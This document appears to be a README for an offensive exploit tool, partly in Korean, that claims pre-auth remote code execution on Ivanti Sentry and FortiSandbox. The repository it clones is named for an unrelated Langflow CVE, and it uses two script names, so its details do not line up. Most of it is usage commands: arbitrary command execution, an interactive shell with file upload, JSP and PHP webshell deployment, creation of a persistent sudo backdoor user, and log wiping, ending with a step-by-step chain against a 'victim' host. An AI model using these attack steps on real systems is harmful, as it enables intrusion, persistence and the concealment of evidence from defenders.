
Multi-CVE exploit tool for pre-auth remote code execution on Ivanti Sentry and FortiSandbox. Features interactive shell, webshell deployment, backdoor user creation, and log cleaning for penetration testing.
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-25089 (CVSS 9.1)
자격 증명이 필요하지 않습니다.
python3 exploitt.py
# 취약한지 확인
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# 대화형 셸
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# JSP 웹쉘 배포 (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# 백도어 사용자 생성 + 로그 정리
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# 단일 명령
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# 파일 업로드 기능이 있는 대화형 셸
python3 exploitt.py -u https://forti.example.com --type forti -s
# 셸 내부: upload /path/local.txt /remote/path.txt
# PHP 웹쉘 배포
python3 exploitt.py -u https://forti.example.com --type forti -w
# 전체 자동 익스플로잇 (확인, 셸, 웹쉘, 지속성, 정리)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
사용 가능한 명령줄 인수 Argument Description -u, --url 대상 URL (예: https://192.168.1.100:8443) --type 서비스 강제: ivanti 또는 forti (선택 사항, 자동 감지) -t, --timeout 요청 타임아웃 (초 단위, 기본값 30) --proxy HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) -d, --debug 디버그 출력 활성화 --ua 사용자 정의 User‑Agent 문자열 -c, --cmd 단일 명령을 실행하고 종료 -s, --shell 대화형 셸 실행 -w, --webshell 웹쉘 배포 (Forti의 경우 PHP, Ivanti의 경우 JSP) -p, --persist 지속적인 sudo 가능 백도어 사용자 생성 --clean 익스플로잇 후 로그 및 명령 기록 삭제
대화형 셸 명령
Command Example Description normal command id 모든 시스템 명령 실행 upload upload exploit.sh /tmp/backdoor.sh 로컬 파일을 원격 호스트에 업로드 exit exit 셸 종료
웹쉘 배포 세부정보
· Ivanti Sentry – Tomcat webapps 내에 .jsp 셸 배포 (/usr/local/tomcat/webapps/ROOT/) · 접근: https://target/shell_random.jsp?cmd=whoami · FortiSandbox – 웹 루트 내에 .php 셸 배포 (/var/www/html/) · 접근: https://target/shell_random.php?cmd=whoami
# 1. 탐지 및 익스플로잇
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. 셸 내부에서 권한 확인
id
# 3. 지속성을 위해 웹쉘 배포
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. 백도어 사용자 생성
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. 로그 정리
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean